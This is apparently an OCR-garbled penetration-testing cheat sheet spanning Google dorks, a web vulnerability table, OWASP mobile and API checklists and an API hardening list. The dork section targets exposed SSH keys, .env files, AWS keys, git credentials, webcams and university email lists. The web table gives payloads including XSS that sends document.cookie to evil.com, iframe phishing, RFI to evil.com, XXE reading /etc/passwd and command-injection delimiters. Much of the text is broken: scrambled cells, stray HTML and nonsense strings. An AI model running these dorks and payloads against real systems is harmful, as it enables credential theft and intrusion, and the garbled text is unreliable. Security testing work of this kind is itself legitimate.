		Google Dork Techn	ique	
Popular Google Dork				
operators	Details	Example	Github	
cache:	this dork will show you the cached version of any website	cache: securitytrails.com	filename:.npmrc _auth	
allintext:	searches for specific text contained on any web	allintext: hacking tools	filename:.dockercfg auth	
allintitle:	exactly the same as allintext, but will show pages that contain titles with X characters	allintitle:"Security Companies"	extension:pem private	
allinurl:	it can be used to fetch results whose URL contains all the specified characters,	allinurl client area	extension:ppk private	
	used to search for any kind of file extensions, for example, if you want to search for jpg files you		filename:id_rsa or filename:	
filetype:	can use: this is exactly the same as allinurl, but it is only	filetype: jpg	id_dsa	
inurl:	useful for one single keyword used to search for various keywords inside the	inurl: admin	extension:sql mysql dump	
intitle:	title, for example, will search for titles beginning with "security" but	intitle:secu	extension:sql mysql dump password filename:credentials	
rity tools	"tools" can be somewhere else in the page		aws_access_key_id	
inanchor:	this is useful when you need to search for an exact anchor text used on any links,	inanchor:"cyber security"	filename:.s3cfg	
intext	useful to locate pages that contain certain characters or strings inside their text,	intext:"safe internet"	filename:wp-config.php	
link:	will show the list of web pages that have links to the specified URL,	link: microsoft.com	filename:.htpasswd	
	will show you the full list of all indexed URLs for the specified domain and subdomain,		filename:.env DB_USERNAME NOT	
site:	wildcard used to search pages that contain	site:securitytrails.com	homestead filename:.env MAIL_HOST=smtp.	
*	"anything" before your word, e.g. how to this is a logical operator, e.g. "security" "tips" will	* a website,	gmail.com	
	show all the sites which contain "security" or "tips,"	N	fileses sit sendentials	
	or both words. used to concatenate words, useful to detect pages	"security" "tips"	filename:.git-credentials	
Plus+	that use more than one specific key,	security + trails		
	minus operator is used to avoiding showing results that contain certain words,			
	e.g. security -trails will show pages that			
	use "security" in their text, but not those			
Minus -	that have the word "trails." This will show a lot of results that include	security -trails		
Log files	username inside all *.log files	allintext:username filetype:log		
	The following Google Dork can be used to detect vulnerable or hacked servers that allow appending "/proc/self/cwd/" directly to the URL of your			
Vulnerable web servers	website.	inurl:/proc/self/cwd		
O FTD	With the following dork, you'll be able to explore public FTP servers, which can often reveal	in the disaster of the		
Open FTP servers	interesting things. .env files are the ones used by popular web	intitle:"index of" inurl:ftp		
	development frameworks to declare general variables and configurations for local and online			
ENV files	dev environments.	site:xyz.com/.env		
SSH private keys	SSH private keys are used to decrypt information that is exchanged in the SSH protocol.	intitle:index.of id_rsa -id_rsa.pub		
Putty Logs	In this case, we can use a simple dork to fetch SSH usernames from PUTTY logs:	filetype:log username putty		
Email lists	we are going to fetch excel files which may contain a lot of email addresses.	filetype:xls inurl:"email.xls"		
	We filtered to check out only the .edu domain names and found a popular university with around			
	1800 emails from students and teachers	site:.edu filetype:xls inurl:"email.xls	T	
	The following Google hacking techniques can help you fetch live camera web pages that are not			
Live cameras	restricted by IP. Here's the dork to fetch various IP based			
	cameras:	inurl:top.htm inurl:currenttime		
	To find WebcamXP-based transmissions: And another one for general live cameras:	intitle:"webcamXP 5" inurl:"lvappl.htm"		
	if you're one of those classic individuals who still	ппип. туаррт.пип		
MP3, Movie, and PDF files	download legal music, you can use this dork to find mp3 files:	intitle: index of mp3		
	The same applies to legal free media files or PDF documents you may need:	intitle: index of pdf intext: .mp4		
	we ran a dork that lets you fetch Weather Wing device transmissions. If you're involved in			
Weather	meteorology stuff or merely curious, check this out:	intitle:"Weather Wing WS-2"		
**Caulci	out.	minute. VVCather VVIIIY VVG-Z	1	

S.No	Vulnerability Name	Approach	Tool Used		
1	Privilege escalation	Horizontal (admin-admin & user to user)/Vertical Privilege	burpsuite		
	.0	escalaiton (User-admin)			
2	Privacy settings bugs		burpsuite		
		Check if session tokens/access tokens on			
		-Expires on logout			
3	Session bugs	-password reset/change -expires on user removal	burpsuite		
		-expires on changing roles			
		 insufficient session fixation - cookie editor extension used curl command to detect: curl http://site.com -H "Origin:http://evil. 			
		com" -l			
4	Insecure CORS misconfiguration	if it is access-allow-origin:* - not exploitable origin: evil.com	Corsy/burpsuite		
		origin: site.evil.com origin: null			
		if any site disclosing usernames & password, try cors exploit.			
		intercepting the victim request & generating csrf poc & sent to server as a attacker			
		- CSRF can be get or post based			
		- try in all state changing requests			
		use: jsfiddle.net online tool			
		check it validates orgin/referer if not csrf possible check it is cookie based authentication			
		if anticsrf tokens are there,, 1) remove anticsrf tokens & parameter			
5	CSRF	2) pass blank paramter	jsfiddle.net/burpsuite		
		add similar length token add another userss valid anti csrf token			
		5) random token in long length (aaaaaaaaa)			
		if content-type verfication 1) if no anitcsrf tokens are there			
		2) try content-type=text/plain flash csrf			
		check if any crossdomain policy			
		use swf json tool 1) inputvalue(try payload like "'batman()<>) reflected without xss			
		protection			
		2) xss validator - Intruder			
		host header injection through xss add referer: batman			
		hostheader: bing.com">script>alert(document.domain)<"			
		URL redirection through xss document.location.href="http://evil.com"			
		5) phishing through xss - iframe injection <iframe height="100" src="http://evil.com" width="100"></iframe>			
6	XSS	Cookie stealing through xss	xss validator/burpsuite		
		document.location.href="http://evil.com/p/?page="+document.cookie 7) file upload through xss			
		upload a picturefile, intercept it, change picturename.jpg to xss paylaod using intruder attack			
		8) remote file inclusion (RFI) through xss			
		php?=http://brutelogic.com.br/poc.svg - xsspayload 9) convert self xss to reflected one			
		copy response in a file.html -> it will work			
		10) xss through uri parameters site.com/about/xss"> <script></td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>1) url redirection through host header (check url having 2xx, 3xx)</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>real host to bing.com X-forwarded-host: realweb.com</td><td></td><td></td><td></td></tr><tr><td>7</td><td>Host header injection</td><td>X-forwarded-host: bing.com 2) webcache poisoning through HHI</td><td>burpsuite</td><td></td><td></td></tr><tr><td></td><td></td><td>injection will be reflected in any buttons of page</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>host header attack on password reset page xss through HHI</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>1) common parameter list: dest, redirect, uri, path, continue, url, window, to,</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>out, view, dir, show, navigation, open, u, file, val, validate, domain, callback, return, page, feed, host, port, next,</td><td></td><td></td><td></td></tr><tr><td>8</td><td>URL redirection or open redirect</td><td>data, reference, site,</td><td>burpsuite</td><td></td><td></td></tr><tr><td></td><td></td><td>html 2) site.com/bing.com, site.com//bing.com, site.com/payloads</td><td></td><td></td><td></td></tr><tr><td>9</td><td>parameter tampering</td><td>ecommerce websites</td><td>burpsuite</td><td></td><td></td></tr><tr><td></td><td></td><td>get or post method input value reflecting back</td><td></td><td></td><td></td></tr><tr><td>10</td><td>HTML injection</td><td>3) <h1>adam</h1></td><td>burpsuite</td><td></td><td></td></tr><tr><td></td><td></td><td>4) url direction via html injection</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>1) LFI & RFI 2) LFI</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>any.com/index.php?reference=login.php</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>3) RFI any.com/?share=http://evil.com/</td><td></td><td></td><td></td></tr><tr><td>11</td><td>File inclusion</td><td>common parameter look on</td><td>lfisuite tool from aithub</td><td></td><td></td></tr><tr><td>11</td><td>File inclusion</td><td>file, document, folder, root, path, pg, style, pdf, template, php_path, doc dest, redirect, uri, path, continue, url, window, next, data, reference, site, html,</td><td>Ifisuite tool from github</td><td></td><td></td></tr><tr><td></td><td></td><td>val, validate, domain,</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>callback, return, page, feed, port, host, to, out, view, dir, show, navigation, open</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>4) Ifi - /var/www/html/ & /etc/passwd //etc/passwd</td><td></td><td></td><td></td></tr><tr><td>12</td><td>Missing spf, dmarc records</td><td>detecting - mxtoolbox.com</td><td>anonymousmail.me</td><td></td><td></td></tr><tr><td>14</td><td>missing spi, umaic records</td><td></td><td>https://emkei.cz/</td><td></td><td></td></tr></tbody></table></script>			

S.No	Vulnerability Name	Approach	Tool Used		
		making request from vulnereable application to target website			
		2) common paramters to look on			
		dest, redirect, uri, path, continue, url, window, next, data, reference, site, html,			
		val, validate, domain, callback, return, page, view, dir, show, file, document, folder, root, path, pg, style, pdf,			
		template, php_path, doc, feed, host,			
		port, to, out, navigation, open, result. 3) detection using https://www.expressvpn.com/what-is-my-ip & burp	burpcollabator/https://www.expressvpn.		
13	SSRF	collabator also used	com/what-is-my-ip		
		any.com/index/php?uri=http://external.com exploitation of ssrf (read file from server, scan the internal network, ssrf wih			
		rfi)			
		 read file from server - file:///identf- intruder on identifier- use lfi payloads scan the internal network - http://localhost:1 (changing the port number 			
		topcommonports like 21,22 etc) 7) ssrf with rfi - exceuting code from the external domain like (use hackoff.			
		html with xss script)			
		1) using https://github.			
14	Critical file found & Source code disclosure	com/danielmiessler/SecLists/tree/master/Discovery/Web-Content payloads	burpsuite		
		2) use dirsearch			
		1) if the website is not used by the target which is laying in any			
15		service provider. signingup on service provider like github, heroku, shopify, zendesk,	github.com/nahamsec/HostileSubBruteforcer		
		aws, tumblr etc to takeover domains			
		1) taking input as a command, reflecting output of that command			
		2) common parameters look on daemon, host, upload, dir, execute, download, log, ip, cli, cmd, filename,			
16	command injection	3) how to find cmdi: using delimiter list (like; ^&, &&, , , %0D, %0A, \n, <)	github.com/commixproject/commix.git		
		how to find - find a input field interacting with os shell by try with delimiter & shell commands	· · ·		
		6) ;dir, ;/etc/passwd			
		intercept - use clusterbomb- first parameter for delimeter & 2nd for command payloads			
		1) simple file upload - shell.php - fullcontrol of server - run			
		shellcommands			
17	fileupload vulnerability	github.com/fuzzdb-projects/fuzzdb/tree/master/attack/file- upload/malicious-images	github.com/almandin/fuxploider		
.,		3) pixel flood attack	gittiab.com/aimanam/taxpiolaci		
		4) content type verification			
		5) extension verification			
		 inputfiled - use xxe payloads in intruder to detect check website is accepting - content-type=text/xml header -> 			
		200ok	common places to find xxe		
		3) use online tool called pingb.in - check for external ping	 xml file uplaod (eg:config files) xml input fields 		
18	XXE Injection	4) for blind xxe - use python -m SimpleHTTPServer 80 5) SYSTEM "file:///etc/passwd" for local file read	3) xml based apis		
		6) SYSTEM "http://systemip/readinganyfile" - blind xxe	4) xml based files (rss, svg) Tool: pingb.		
		7) php:// to get RCE	in/burpsuite		
		8) use Gopher or other URI Handlers to exploit xxe			
		preventing from bruteforce attack intercept the login page with usercredentials with burp			
19		3) sent the request to sequencer	burpsuite		
15		4) or sent to intruder - make 1000 times request	burpsuite		
		5) do credential stuffings 6) the account needs to lock out for 30minutes to 24hrs			
		the decodiff fields to lock out for sommates to 24/1/3 type of stored xss - attacker input saved in server - saved in			
		database			
		it wont be reflected it wont be reflected			
		feedbackpage, chatapp,			
20	blind xss	ticket generation app, any app use moderation or updation, saving	burpsuite/Xsshunter.com		
		forms)			
		4) online tool used - xsshunter.com 5) copy the payload & paste it in input field			
		6) reflection will be found on xsshunter.com			
		7) multiple blind xss using intruder			
		intercept loginpage - pass long string of passwords or any quanity of input things			
24		the page will load slow	L		
21	Buffer overflow - web	- types of overflows - buffer, stack, heap, integer, format strin	burpsuite		
		follows 2) dos using buffer overflow - application dos attack			
		dos using buffer overflow - application dos attack wordpress, joomla, drupal, vbulletin, magento			
22		2) find vulnerable component in the cms	wpscan, cmsmap, cmsscan, joomscan, drupwn,		
		3) Search exploit in google	vbulletin scanner, mage scanner, owaspVBScan		
		scenario - 1 1) mostly found on user settings or profile management			
		two accounts required			
		3) intercept the request - change emailid of attacker			
23		4) logout	Burpsuite		
		5) try login with victim account - it wont work scenario - 2 - user moderation	·		
		1) find user id			
		2) replace attacker id instead of victim id			
		3) do functionality			
		password - hashing - process - resource consumption by cpu same like buffer overflow - but trying only in password field which			
		doesnt have			
24	Long password dos attack	password length	Burpsuite		
47	Long password dos attack	3) try to signup a account	barpaulte		
		4) give details intercept the request 5) give password more then the length - forward the request			

S.No	Vulnerability Name	Approach	Tool Used		
	Value ability Name	1) capture forgot password page or even any request into burpsuite	Tool Osea		
25	No rate limiting vulnerability - logical flow	2) sent to intruder 3) make 1000 times request	Burpsuite		
		4) it will affect both user & server 1) forget password page -> intercept in burpsuite			
26	Password reset poisiong	1) forget password page -> intercept in our psaite 2) host header attack 3) victim will receive emailed from the evilwebsite which mentioned in hostheader	Burpsuite		
		IDOR Browsing with account 1 https://acme.com/changepw/id?=1234			
	Broken Access control (Missing function	you can create a 2nd account and you get assinged https://acme.com/changepw/id?=5678 if you completely logout & loginto account #1 and issue the request	Common parameters		
27	level access control, IDOR, privilege escalation, authorizationbypass, business logic flaws, forceful browsing, parameter manipulation, path traversal, local file include)	with the uid from account #2, you may be able to change the accounts password. having to find users guids lower the priority a but, but look for other endpoints that might alow you to search for a user's guid Hash based IDOR - usedid sometime hased with base64 Local file inclusion, Path Traversal	id, user, account, number, order, no, doe, key, email, group, profile, edit numeric values functions lookon change email, change password, upgrade/downgrade user role, create/remove/update/delete context specific app data shipping, invoices and document viewing

MobileApp_PT Checklist		
Penetration testing checklist based	on OWASP Top 10 Mobile 2016	
M1. Improper Platform Usage	Test Name	Result
M1-01 M1-02	Misuse of App permissions Insecure version of OS Installation Allowed	Issue
M1-03	Abusing Android Components through IPC intents ("exported" and "intent-filter")	Issue
M1-04	Misuse of Keychain , Touch ID and other security related controls	Issue
M1-05	Minimum Device Security Requirements absent	Issue
M1-06	Excessive port opened at Firewall	Issue
M1-07	Default credentials on Application Server	Issue
M1-08	Weak password policy Implementation	Issue
M1-09	Exposure of Webservices through WSDL document	Issue
M1-10	Security Misconfiguration on Server API	Issue
M1-11	Security Patching on Server API	Issue
M1-12	Input validation on API	Issue
M1-13	Information Exposure through API response message	Issue
M1-14	Control of interaction frequency on API (Replay Attack)	Issue
M2. Insecure Data Storage	Test Name	Result
M2-01	Unrestricted Backup file	Issue
M2-02	Unencrypted Database files	Issue
M2-03	Insecure Shared Storage	Issue
M2-04	Insecure Application Data Storage	Issue
M2-05	Information Disclosure through Logcat/Apple System Log (ASL)	Issue
M2-06	Application Backgrounding (Screenshot)	Issue
M2-07 M2-08	Copy/Paste Buffer Caching Keyboard Press Caching	Issue
IVIZ-U6	Reyboard Press Cacrilling	Issue
M3. Insecure Communication	Test Name	Result
M3-01	Insecure Transport Layer Protocols	Issue
M3-01	Use of Insecure and Deprecated algorithms	Issue
M3-02 M3-03	Use of Disabling certificate validation	Issue
M3-04	SSL pinning Implementation	Issue
M3-05	End-to-end encryption	Issue
100-00	End-to-end end yption	13306
M4. Insecure Authentication	Test Name	Result
M4-01	Remember Credentials Functionality (Persistent authentication)	Issue
M4-02	Client Side Based Authentication Flaws	Issue
M4-03	Session invalidation on Backend	Issue
M4-04	Session Timeout Protection	Issue
M4-05	Cookie Rotation	Issue
M4-06	Multiple concurrent logins	Issue
M4-07	Exposing Device Specific Identifiers in Attacker Visible Elements	Issue
M5. Insufficient Cryptography	Test Name	Result
M5-01	Cryptographic Based Storage Strength	Issue
M5-02	Poor key management process	Issue
M5-03	Use of custom encryption protocols	Issue
M5-04	Token/Session Creation and handling	Issue
M6. Insecure Authorization	Test Name	Result
M6-01	Client Side Authorization Breaches	Issue
M6-02	Insecure Direct Object references	Issue
M6-03	Missing function level access control	Issue
M6-04	Bypassing business logic flaws	Issue
 		<u> </u>
M7 Client Code Quality	Test Name	Result
M7-01	Content Providers: SQL Injection and Local File Inclusion	Issue
M7-02	Broadcast Receiver	Issue
M7-03	Service component	Issue
M7-04	Insufficient WebView hardening	Issue
M7-05	Injection (SQLite Injection, XML Injection)	Issue
M7-06	Local File Inclusion through NSFileManager or Webviews	+
M7-07	Abusing URL schemes or Deeplinks	lague
M7-08	Sensitive Information Masking	Issue
M8. Code Tampering	Test Name	Result
M8-01	Unauthorized Code Modification	Issue
M8-02		
IVIU-UZ	Runtime Manipulation	Issue

M8-03	Rooted or Jail-broken device checking	Issue
M9. Reverse Engineering	Test Name	Result
M9-01	Reverse Engineering the Application Code (Code Obfuscating Checking)	Issue
M9-02	Information leakage/Hardcoded credential in the binaries	Issue
M10. Extraneous Functionality	Test Name	Result
M10-01	Debuggable Application	Issue
M10-02	Passwords/ Connection String disclosure	Issue
M10-03	Hidden and Unscrutinised functionalities	Issue

ecklist						
	Penetration	testing checklist based on OWASP Top	10 Mobile 20	16		
	Test Name	Description	Tool	Applicable Platform	OWASP	Resul
	Reverse Engineering the Application Code		apktool, dex2jar, Clutch,			
	(Code Obfuscating Checking) Information leakage/Hardcoded credential	Disassembling and Decompiling the application Identify sensitive information through binary/source	Classdump string, jdgui,	All	M9	Issue
	in the binaries	code Static code modification, Binary patching, Bypass	IDA, Hopper apktool,	All	M9	Issue
	Unauthorized Code Modification	check sum mechanism	Hopper	All	M8	Issue
	Misuse of App permissions	Identify excessive App permissions	apktool, MobSF	Android	M1	Issue
	Insecure version of OS Installation Allowed	Identify "minSdkVersion" on apktool.yml, the value be set over than 17. For iOS, identify minOS using idb.	apktool, idb	All	M1	Issue
	Abusing Android Components through IPC intents ("exported" and "intent-filter")	Identify android exported components	MobSF Androidmanife st.xml apktool	Android	M1	Issue
	Unrestricted Backup file	Check "android:allowBackup" attribute which should be set to "false"	Androidmanife st.xml jdgui, MobSF,	Android	M2	Issue
	Cryptographic Based Storage Strength	Identify insecure/deprecated cryptographic algorithms (RC4, MD5, SHA1) on sourcecode	Qark, Hopper, iFunbox	All	M5	Issue
	Poor key management process	Identify hardcoded key in application or Keys may be intercepted via Binary attacks	jdgui, MobSF, Qark, Hopper, iFunbox	All	M5	Issue
Static analysis	Use of custom encryption protocols Debuggable Application	Identify implementing their own protocol Identify "android:debuggable" attribute	jdgui, MobSF, Qark, Hopper, iFunbox adb. MobSF	All Android	M5 M10	Issue
anaiysis	Debuggable Application	identity android.debuggable attribute	aub, Mobsi	Alidioid	IVITO	Issue
	Test Name	Description	Tool	Applicable Platform	OWASP	Resu
	Misuse of Keychain , Touch ID and other security related controls	Identify misuse of Data protection API on Keychain, Misuse of TouchID (Retrieve credentials from Local Storage, Local Authen)	iDevice	iOS	M1	Issue
	Minimum Device Security Requirements absent	Ensure that app cannot execute when the PIN or Pattern lock is not enabled.	Device	All	M1	Issue
	Unencrypted Database files	Check encryption on database files Identify Sensitive Data on Shared Storage, SD card	adb, idb, iFunbox	All	M2	Issue
	Insecure Shared Storage	storage encryption, Shared preferences MODE_WORLD_READABLE	adb	Android	M2	Issue
	Insecure Application Data Storage	Identify Sensitive Data in application files (application log, Cache file, Cookie)	adb, idb, iFunbox, BinaryCookie Reader	All	M2	Issue
	Information Disclosure through		adb logcat, idb, libimobiledevic			
	Logcat/Apple System Log (ASL)	Identify sensitive information through application log Identify application snapshot/screenshot	e Device,	All	M2	Issue
	Application Backgrounding (Screenshot)	backgrounding Identify disabling Copy/Paste function for sensitive	iFunbox	All	M2	Issue
	Copy/Paste Buffer Caching	part of the application on EditText/UITextField Identify keyboard cache file located in:	idb, iFunbox	All	M2	Issue
	Keyboard Press Caching	/var/mobile/Library/Keyboard /data/data/com.android.providers. userdictionary/databases/user_dict.db For Android, Check "android:allowBackup" attribute	Device, idb, iFunbox apktool,	All	M2	Issue
	Unrestricted Backup file	which should be set to "false" For iOS, Use iTune to backup application folder in order to check sensitive info from backup folder	iPhone Backup Extractor	All	M2	Issue
	Remember Credentials Functionality (Persistent authentication)	Identify user's password or sessions on the device	adb, idb, iFunbox	All	M4	Issue
	,	Perform binary attacks against the mobile app in	adb, Drozer, Cycript, Snoop-it,			
	Client Side Based Authentication Flaws	order to bypass offline authentication Perform binary attacks against the mobile app and try	Burpsuite adb, Drozer, Cycript,	All	M4	Issue
	Client Side Authorization Breaches	to execute privileged functionality that should only be executable with a user of higher privilege	Snoop-it, Burpsuite	All	M6	Issue
	Content Providers: SQL Injection and Local File Inclusion	Identify SQLi and LFI on Content provider component Identify intent-filter on broadcast and receiver	Drozer	Android	M7	Issue
	Broadcast Receiver	component in order to directly access and sniff the information	Drozer	Android	M7	Issue
	Service component	Invoke Service component directly	Drozer	Android	M7	Issue

1		Identify misconfiguration on "android.webkit.				
		WebSettings"				
		(Javascript/File access/Plugins), XSS through	<u>.</u> .			
	Insufficient WebView hardening	UIWebview	jdgui, iDevice	All	M7	Issue
			adb, iDevice,			
	Injection (SQLite Injection, XML Injection)	Identify SQLi and XMLi on application	Burpsuite	All	M7	Issue
		Check LFI on application(/,//blah\0) Webviews				
	Local File Inclusion through Webviews	FileAccess attack through setAllowFileAccess	idgui, iDevice	All	M7	Issue
	· ·	For iOS: Identify URL schemes through info.plist and	1			
		Clutch+Strings to obtain URL scheme structures				
		For Android: Identify URL schemes through source	apktool, jdgui,			
	Abusing URL schemes or Deeplinks	code or manifest file	Clutch, Strings	All	M7	Issue
	Abdolling OTAL scrientes of Deeplinks	Identify sensitive information masking (Creditcard no.	Device.	7311	IVI7	13300
	Consitius Information Maskins		,	A II	147	laaa
	Sensitive Information Masking	on UI and HTTPs traffic)	Burpsuite	All	M7	Issue
			Frida, Cycript,			
	Runtime Manipulation	Run-time manipulation, Method swizzling	Snoop-it	All	M8	Issue
		Detect root/jb detection code in the reverse				
		engineered app file.If found, delete/ change the				
		access control of the file containing the code and				
		restart the app. Or Install tools like hidemyroot and	tsProtector.			
	Rooted or Jail-broken device checking	run the apps	RootCloak2	All	M8	Issue
		Identify sensitive information (Credential) between	jdgui,			
Dynamic and	Passwords/ Connection String disclosure	mobile and API	Burpsuite	All	M10	Issue
Runtime		Identify extraneous functionality (Hidden back-end	jdgui,			
analysis	Hidden and Unscrutinised functionalities	URL)	Burpsuite	All	M10	Issue

	Test Name	Description	Tool	Applicable Platform	OWASP	Result
		Observe the device's network traffic through a proxy				
	Insecure Transport Layer Protocols	that SSL is implemented or not	Burpsuite	All	M3	Issue
			testssl.sh,			
	Use of Insecure and Deprecated		Qualys SSL			
	algorithms	Identify SSL/TLS Encryption Algorithms	Labs	All	M3	Issue
		Allow tester to intercept SSL traffic without Certificate	jdgui, MobSF,			
	Use of Disabling certificate validation	installation (checkServerTrusted with nobody)	Qark	All	M3	Issue
		Check whether application accepts a certificate from any trusted CA (Burpsuite) or not. E.g. Check				
		setAllowsAnyHTTPSCertificate(iOS) and	jdgui, MobSF,			
Communicati	SSL pinning Implementation	AllowAllHostnameVerifier(Android)	Qark	All	M3	Issue
	End-to-end encryption	Identify end-to-end encryption on application layer	Burpsuite	All	M3	Issue

	Test Name	Description	Tool	Applicable Platform	OWASP	Result
	Excessive port opened at Firewall	Identify opened port at Server-side URL/IP Address	Nmap	All	M1	Issue
	Default credentials on Application Server	Identify default credentials on Backend server (e.g. Tomcat Application server using tomcat/tomcat, admin/tomcat)	Web Browser	All	M1	Issue
	Weak password policy Implementation	Identify weak password policy implementation both mobile and server side (e.g. Bypass password complexity checking on UI)	Burpsuite	All	M1	Issue
	Exposure of Webservices through WSDL document	Identify webservices help pages (*.asmx) which show methods and structure	Web Browser	All	M1	Issue
	Security Misconfiguration on Server API	Identify webserver configuration (e.g. Error handling, HTTP response banner)	Web Browser, Burpsuite	All	M1	Issue
	Security Patching on Server API	Identify vulnerability on server API	Nessus	All	M1	Issue
	Input validation on API	Check input validation (e.g. SQL Injection, XXE) on API/Webservices	Burpsuite	All	M1	Issue
	Information Exposure through API response message	Identify sensitive information on API response message/header	Burpsuite	All	M1	Issue
	Control of interaction frequency on API (Replay Attack)	Conduct simultaneous attack on API (e.g. OTP, email sending)	Burpsuite (Intruder)	All	M1	Issue
	Session invalidation on Backend	Ensure that all session invalidation events are executed on the server side and not just on the mobile app	Burpsuite	All	M4	Issue
	Session Timeout Protection	Mobile app must have adequate timeout protection on the backend components	Burpsuite	All	M4	Issue
	Cookie Rotation	Ensure that reset cookies is properly implemented during authentication state changes (Anonymous<->User, User A<->User B, Timeout)	Burpsuite	All	M4	Issue
	Multiple concurrent logins	Simultaneously login from multiple device with the same credential	Burpsuite	All	M4	Issue
	Exposing Device Specific Identifiers in Attacker Visible Elements	Observe the device's network traffic through a proxy that Device's information (UDID) is sent during the transmission or not.	Burpsuite	All	M4	Issue
	Token/Session Creation and handling	They should be standard algorithm, sufficiently long, complex, and pseudo-random so as to be resistant to guessing/anticipation attacks.	Burpsuite	All	M5	Issue
	Insecure Direct Object references	Directly access unauthorised object/var through HTTPs traffic	Burpsuite	All	M6	Issue
Server Side -	Missing function level access control	Directly access unauthorised function through HTTPs traffic	Burpsuite	All	M6	Issue
Webservices and API	Bypassing business logic flaws	Bypass business logic data validation, Circumvention of Work Flows	Burpsuite	All	M6	Issue

S NO	OWASP Top 10 API	Approach	Hackerone reports for reference
		1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	
		- User Id 718492 rating his ride, Intercept the request, Change the id to 718493 in the database it will update like user 718493 is rating his ride	
		- Based on Userid & Object id	
		Profile controller - User #585 has access to update profile #616 POST /update_profile	
		{"user_id":616, "email":"dupakur@gmail.com"}	
		Receipts Controller - User #232 has access to view receipt #777	
		Get /receipts/777	
		Admin Panel Controller - Admin #616 has access to delete user #888	
	A1 - BOLA (Broken Object Level	DELETE /admin/delete_user?user_id=888	Uber full account takover by Anand prakash
1	Authorization)		(appsecure)
		Detection areas: Forgetpassword, weblogin, get_location, update_picture	
		rate limiting	
		Misconfiguration: JWT allows, tokens dont expire etc	Facebook - full account takeover - Anand Prakash
			reset password token 5digit value -
2	A2 - Broken User Authentication	Extra protection: Account lockout, captcha, bruteforce attacks	predictable
		Apis Expose sensitive data (PII) of other users by design	
2	A2 Evenestive Date	GET /allusersinfo	25 up ann by Alex Ierres /
3	A3 - Excessive Data exposure	GET /match_users?from=0	3fun app - by Alex Iomas (pentestpartners)
		Might lead to dos	
4	A4 - Lack of resources & rate limiting	limit the requests value Rate limiting absent	https://hackerone.com/reports/170310

	A10 - Insufficient Logging &	- same as owaspweb2017	
10	Monitoring		

1	Task
	Authentication
EALOE	Don't use Basic Auth. Use standard authentication instead (e.g. JWT, OAuth).
FALSE	Don't reinvent the wheel in Authentication, token generation, password storage. Use the standards.
FALSE	Use Max Retry and jail features in Login.
FALSE	Ose Max Retry and Jali Teatures in Login.
	JWT (JSON Web Token)
FALSE	Use a random complicated key (JWT Secret) to make brute forcing the token very hard.
FALSE	Don't extract the algorithm from the header. Force the algorithm in the backend (HS256 or RS256).
FALSE	Make token expiration (TTL, RTTL) as short as possible.
TALOL	Don't store sensitive data in the JWT payload, it can be decoded easily.
FALSE	payload, it can a decide a dec
	OAuth
FALSE	Always validate redirect_uri server-side to allow only whitelisted URLs.
FALSE	Always try to exchange for code and not tokens (don't allow response_type=token).
FALSE	Use state parameter with a random hash to prevent CSRF on the OAuth authentication process.
FALSE	Define the default scope, and validate scope parameters for each application.
	Access
FALSE	Limit requests (Throttling) to avoid DDoS / brute-force attacks.
FALSE	Use HTTPS on server side to avoid MITM (Man in the Middle Attack).
FALSE	Use HSTS header with SSL to avoid SSL Strip attack.
	Input
FALSE	Use the proper HTTP method according to the operation: GET (read), POST (create), PUT/PATCH (replace/update), and DELETE (to delete a record), and respond with 405 Method Not Allowed if the requested method isn't appropriate for the requested resource.
FALSE	Validate content-type on request Accept header (Content Negotiation) to allow only your supported format (e.g. application/xml, application/json, etc.) and respond with 406 Not Acceptable response if not matched.
FALSE	Validate content-type of posted data as you accept (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
FALSE	Validate user input to avoid common vulnerabilities (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
	Don't use any sensitive data (credentials, Passwords, security tokens, or API keys) in the URL, but use
FALSE	standard Authorization header. Use an API Gateway service to enable caching, Rate Limit policies (e.g. Quota, Spike Arrest, or Concurrent
FALSE	Rate Limit) and deploy APIs resources dynamically. Processing
FALSE	Check if all the endpoints are protected behind authentication to avoid broken authentication process.
FALSE	User own resource ID should be avoided. Use /me/orders instead of /user/654321/orders.
FALSE	Don't auto-increment IDs. Use UUID instead.
IALUL	If you are parsing XML files, make sure entity parsing is not enabled to avoid XXE (XML external entity
FALSE	attack).
FALSE	If you are parsing XML files, make sure entity expansion is not enabled to avoid Billion Laughs/XML bomb via exponential entity expansion attack.
FALSE	Use a CDN for file uploads.

Do not forget to turn the DEBUG mode OFF.
Output
Send X-Content-Type-Options: nosniff header.
Send X-Frame-Options: deny header.
Send Content-Security-Policy: default-src 'none' header.
Remove fingerprinting headers - X-Powered-By, Server, X-AspNet-Version, etc.
Force content-type for your response. If you return application/json, then your content-type response is application/json.
Don't return sensitive data like credentials, Passwords, or security tokens.
Return the proper status code according to the operation completed. (e.g. 200 OK, 400 Bad Request, 401 Unauthorized, 405 Method Not Allowed, etc.).
CI & CD
Audit your design and implementation with unit/integration tests coverage.
Use a code review process and disregard self-approval.
Ensure that all components of your services are statically scanned by AV software before pushing to production, including vendor libraries and other dependencies.
Design a rollback solution for deployments.
